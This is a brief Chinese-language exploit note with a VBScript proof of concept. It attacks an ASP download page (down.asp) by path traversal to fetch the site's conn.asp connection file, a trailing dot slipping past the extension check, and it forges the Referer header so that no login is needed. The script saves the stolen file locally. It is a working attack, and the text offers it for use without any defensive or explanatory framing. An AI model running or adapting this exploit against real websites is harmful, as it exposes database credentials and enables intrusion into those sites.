(不需要登录，用minibrowser伪造referer)
VBS版利用
Dim strUrl, strData
strUrl = "http://www.target.com/down.asp?FileName=../conn.asp."
Set xPost = CreateObject("Microsoft.XMLHTTP")
With xPost
.open "Get", strUrl, False
.SetRequestHeader "Referer", strUrl
.Send()
strData = .responseBody
End with
Set sGet = CreateObject("ADODB.Stream")
With sGet
.Mode = 3
.Type = 1
.Open()
.Write(strData)
.SaveToFile "Conn.asp",2
End with
set sGet = Nothing
